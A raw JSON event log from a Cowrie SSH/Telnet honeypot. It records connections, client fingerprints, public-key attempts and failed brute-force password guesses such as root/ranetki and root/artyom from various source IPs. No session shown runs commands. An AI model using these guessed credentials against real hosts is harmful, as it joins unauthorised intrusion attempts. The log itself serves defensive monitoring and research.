{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fc:3c:98:f2:65:6d:54:23:d1:8f:5d:b5:90:d4:6c:9f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDsO3BAjQpnnwxtuxySWHcXXldrV32Tslbf7u52tDK3Ry8+HYVQYIwvhoSWdPmMaf4BWJtQeMhOUP9WK8PinV2UnAUOEgkIy1TKCPwdH04GhUrPEBOXMmEjX6t2/IhyZ8XCmNHWinm+jzIpIbJ5mSkEmtoXV+IEeBGkxVtuEI/RANGyNkoX5yorFl/z1KYgUHrsUENSFL+DlXlX5fqiUAwZG1MnF7SVJGqzf02Rtzg2TzoJ22paJtjWUss3zoMwE3I558gAYejIveFOAIDLmKsqeGYpdh93N02+KWrRNmrw4OfWyarlR/wXuZXDG3O6VolRVijScfXvNHQzww4eOeHD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:07.813448Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6d:d9:a5:bc:bc:0c:86:6b:91:d7:fe:51:cf:ed:3e:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ0qfyyIFW3mww9vbEYKCGDtG2gneaGuACuno868fDSeFtouoQIxgrgwKah69leHVcnkj8x3Aee3KdLYmtfN8xp8UUhih612OhKqjFVl889w8DOfm9wK/89ed21pd50iiSMMSYUDofXO+ffBrDWrIieb9sKjbk9Tdp2zELlFYbKq5Tz/j8l8pU7qH2eTMELntRxecUikTnkPS7Jw+a9RFBpjBNJ1jhAAfFcVXvSngbNkHW/X8We2YGfU6gg4lxe1/drospM3kmRZ7CduOJ7YYecIy/pJY/IH4nv5WzR8YHoGWGGltnJVgxKnqhzwIwGwDL4EzVz0p+HdCpzzKgGpMh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6d:d9:a5:bc:bc:0c:86:6b:91:d7:fe:51:cf:ed:3e:c2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:07.918624Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6d:d9:a5:bc:bc:0c:86:6b:91:d7:fe:51:cf:ed:3e:c2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDZ0qfyyIFW3mww9vbEYKCGDtG2gneaGuACuno868fDSeFtouoQIxgrgwKah69leHVcnkj8x3Aee3KdLYmtfN8xp8UUhih612OhKqjFVl889w8DOfm9wK/89ed21pd50iiSMMSYUDofXO+ffBrDWrIieb9sKjbk9Tdp2zELlFYbKq5Tz/j8l8pU7qH2eTMELntRxecUikTnkPS7Jw+a9RFBpjBNJ1jhAAfFcVXvSngbNkHW/X8We2YGfU6gg4lxe1/drospM3kmRZ7CduOJ7YYecIy/pJY/IH4nv5WzR8YHoGWGGltnJVgxKnqhzwIwGwDL4EzVz0p+HdCpzzKgGpMh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:07.924423Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:2e:23:cd:57:ed:78:6d:79:7e:16:70:a3:04:c2:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAsTGBZweGuUmHHQnfWxrs+rbFcgKNLeGeNus3kTCgdZE90aAXNtkjWzrNkBUxt/Y4Mi88dpUG/3aoBQR8UlSXmX3XMOlYVd42mb2YHebvEF+M5C9coeasf7xzuGPApk3C0/IsO4TXr+j+pERKnLHX0HlbFTs7cQGvr5us3hNWSQmQNQ7GtQ6+xsrPts1/3QgnNkC9y/8KVTQ5tQZtWDcj9f1VfGXuqlDgPI1/qffUtoBuFrVPVWmMqngoPrxWBR0KSyhCc/xPLF8iTkVmwV8DODWyhi7go3gAASisG2y1E/YliNxlIEaC2Mz0ngYf23ZNdC5090O+oLGpL5PFuPqZc/S6+ntfYbHva4E6Ql6p+2q83fKezZBBjeTEGYrqF1yF5UoqqDYpca4iDvqk7nU6jUXCBzBOEAVPqATFBZMjHmyOs2TY7QFw2mTYqS0RJSZtkm14BMuI5Qv3AZ4jKako2hvOBLPa4VEcwZjw1bjtp07BlnrTc1UuTb1YhDKVSwaSigJnlb29uUmcIF0sSNwcT8L5pxfxxKZvyGyLg+7VbN1MGDw3yt98JmZ5VEmU4Hx3BgY3u22tAnlnHJt2YRiij+DjKzY6iQ1poAWgUA7ADXvLwxp3gQidoGjyCfNw43eNFGoCJPb4tcHJODhLuAWRCFhPQs4IXVl9hPP/VKM5DIk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:2e:23:cd:57:ed:78:6d:79:7e:16:70:a3:04:c2:b8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:08.028102Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:2e:23:cd:57:ed:78:6d:79:7e:16:70:a3:04:c2:b8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAsTGBZweGuUmHHQnfWxrs+rbFcgKNLeGeNus3kTCgdZE90aAXNtkjWzrNkBUxt/Y4Mi88dpUG/3aoBQR8UlSXmX3XMOlYVd42mb2YHebvEF+M5C9coeasf7xzuGPApk3C0/IsO4TXr+j+pERKnLHX0HlbFTs7cQGvr5us3hNWSQmQNQ7GtQ6+xsrPts1/3QgnNkC9y/8KVTQ5tQZtWDcj9f1VfGXuqlDgPI1/qffUtoBuFrVPVWmMqngoPrxWBR0KSyhCc/xPLF8iTkVmwV8DODWyhi7go3gAASisG2y1E/YliNxlIEaC2Mz0ngYf23ZNdC5090O+oLGpL5PFuPqZc/S6+ntfYbHva4E6Ql6p+2q83fKezZBBjeTEGYrqF1yF5UoqqDYpca4iDvqk7nU6jUXCBzBOEAVPqATFBZMjHmyOs2TY7QFw2mTYqS0RJSZtkm14BMuI5Qv3AZ4jKako2hvOBLPa4VEcwZjw1bjtp07BlnrTc1UuTb1YhDKVSwaSigJnlb29uUmcIF0sSNwcT8L5pxfxxKZvyGyLg+7VbN1MGDw3yt98JmZ5VEmU4Hx3BgY3u22tAnlnHJt2YRiij+DjKzY6iQ1poAWgUA7ADXvLwxp3gQidoGjyCfNw43eNFGoCJPb4tcHJODhLuAWRCFhPQs4IXVl9hPP/VKM5DIk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:08.032351Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"84:81:d5:30:71:11:ae:dd:f0:00:1b:1a:aa:40:27:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC36/7bnZ2Pl/nINuJ0u85PycB/SMlamRLZ6aKrYFZdmSbMSQTiXS8OBuFUNx36cG3UYiu1qK5qeHhHbv3yvib1kf87LxG7+1ZpeLe5FJUVnJzBfmdErWL9Ogt9wlsnDn5NYvHxWtOQwjFVpOmUrGY1QtGzF4HyAB8Egs9zsVk0aJlLRcCwblfi8YOUkX5Jn0ufDnihJNUQfTWiZHytgxIIuNUGIpO95xztMgxXLmdU4Th3qQOLjZvJ/jGfl6SRwTJqtBLb6M+jBRQw5g0CMfyj0YfUlYvqWayy3F9aBU4aXxi9fPr2kwsPY6ZWvwz2vSNbxs4j8Y+1Rw9pjxhuhZEF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 84:81:d5:30:71:11:ae:dd:f0:00:1b:1a:aa:40:27:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:08.134681Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"84:81:d5:30:71:11:ae:dd:f0:00:1b:1a:aa:40:27:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC36/7bnZ2Pl/nINuJ0u85PycB/SMlamRLZ6aKrYFZdmSbMSQTiXS8OBuFUNx36cG3UYiu1qK5qeHhHbv3yvib1kf87LxG7+1ZpeLe5FJUVnJzBfmdErWL9Ogt9wlsnDn5NYvHxWtOQwjFVpOmUrGY1QtGzF4HyAB8Egs9zsVk0aJlLRcCwblfi8YOUkX5Jn0ufDnihJNUQfTWiZHytgxIIuNUGIpO95xztMgxXLmdU4Th3qQOLjZvJ/jGfl6SRwTJqtBLb6M+jBRQw5g0CMfyj0YfUlYvqWayy3F9aBU4aXxi9fPr2kwsPY6ZWvwz2vSNbxs4j8Y+1Rw9pjxhuhZEF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:08.138599Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:08.245537Z","src_ip":"176.65.131.189","session":"b65ef9268484","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":46422,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d26d369e2b9","protocol":"ssh","message":"New connection: 80.94.92.171:46422 (159.203.135.109:22) [session: 2d26d369e2b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:45.022749Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:45.128425Z","src_ip":"80.94.92.171","session":"2d26d369e2b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":53118,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1ff4289bad3","protocol":"ssh","message":"New connection: 109.172.54.111:53118 (159.203.135.109:22) [session: a1ff4289bad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:57.742034Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:57.775718Z","src_ip":"109.172.54.111","session":"a1ff4289bad3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:57.906065Z","src_ip":"109.172.54.111","session":"a1ff4289bad3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ranetki","message":"login attempt [root/ranetki] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:58.288531Z","src_ip":"109.172.54.111","session":"a1ff4289bad3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:35:59.394149Z","src_ip":"109.172.54.111","session":"a1ff4289bad3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":41156,"dst_ip":"159.203.135.109","dst_port":22,"session":"07adc9f1a549","protocol":"ssh","message":"New connection: 103.122.221.179:41156 (159.203.135.109:22) [session: 07adc9f1a549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:08.401848Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:08.406943Z","src_ip":"103.122.221.179","session":"07adc9f1a549","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:08.666316Z","src_ip":"103.122.221.179","session":"07adc9f1a549","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"artyom","message":"login attempt [root/artyom] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:09.444709Z","src_ip":"103.122.221.179","session":"07adc9f1a549","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":56258,"dst_ip":"159.203.135.109","dst_port":22,"session":"8b988f15c744","protocol":"ssh","message":"New connection: 147.45.197.250:56258 (159.203.135.109:22) [session: 8b988f15c744]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:09.859231Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:09.863977Z","src_ip":"147.45.197.250","session":"8b988f15c744","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:09.959493Z","src_ip":"147.45.197.250","session":"8b988f15c744","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:10.244044Z","src_ip":"147.45.197.250","session":"8b988f15c744","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:10.705971Z","src_ip":"103.122.221.179","session":"07adc9f1a549","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:11.339264Z","src_ip":"147.45.197.250","session":"8b988f15c744","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":56958,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a60784b1d29","protocol":"ssh","message":"New connection: 89.108.118.91:56958 (159.203.135.109:22) [session: 0a60784b1d29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:11.696565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:11.701637Z","src_ip":"89.108.118.91","session":"0a60784b1d29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:11.842046Z","src_ip":"89.108.118.91","session":"0a60784b1d29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passport","message":"login attempt [root/passport] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:12.258346Z","src_ip":"89.108.118.91","session":"0a60784b1d29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:13.399093Z","src_ip":"89.108.118.91","session":"0a60784b1d29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37384,"dst_ip":"10.17.0.5","dst_port":23,"session":"65767ef997f6","protocol":"telnet","message":"New connection: 152.42.224.71:37384 (10.17.0.5:23) [session: 65767ef997f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:36:45.749600Z"}
{"eventid":"cowrie.session.closed","duration":41.715247631073,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:37:27.464733Z","src_ip":"152.42.224.71","session":"65767ef997f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":55088,"dst_ip":"10.17.0.5","dst_port":22,"session":"55bfe2283a34","protocol":"ssh","message":"New connection: 80.94.92.184:55088 (10.17.0.5:22) [session: 55bfe2283a34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:37:39.749843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:37:39.792555Z","src_ip":"80.94.92.184","session":"55bfe2283a34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:37:39.909160Z","src_ip":"80.94.92.184","session":"55bfe2283a34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123321","message":"login attempt [solv/123321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:37:40.601839Z","src_ip":"80.94.92.184","session":"55bfe2283a34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:37:41.786645Z","src_ip":"80.94.92.184","session":"55bfe2283a34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":59798,"dst_ip":"159.203.135.109","dst_port":22,"session":"14000d85af9d","protocol":"ssh","message":"New connection: 103.183.114.55:59798 (159.203.135.109:22) [session: 14000d85af9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:01.418442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T21:39:01.429670Z","src_ip":"103.183.114.55","session":"14000d85af9d","protocol":"ssh"}
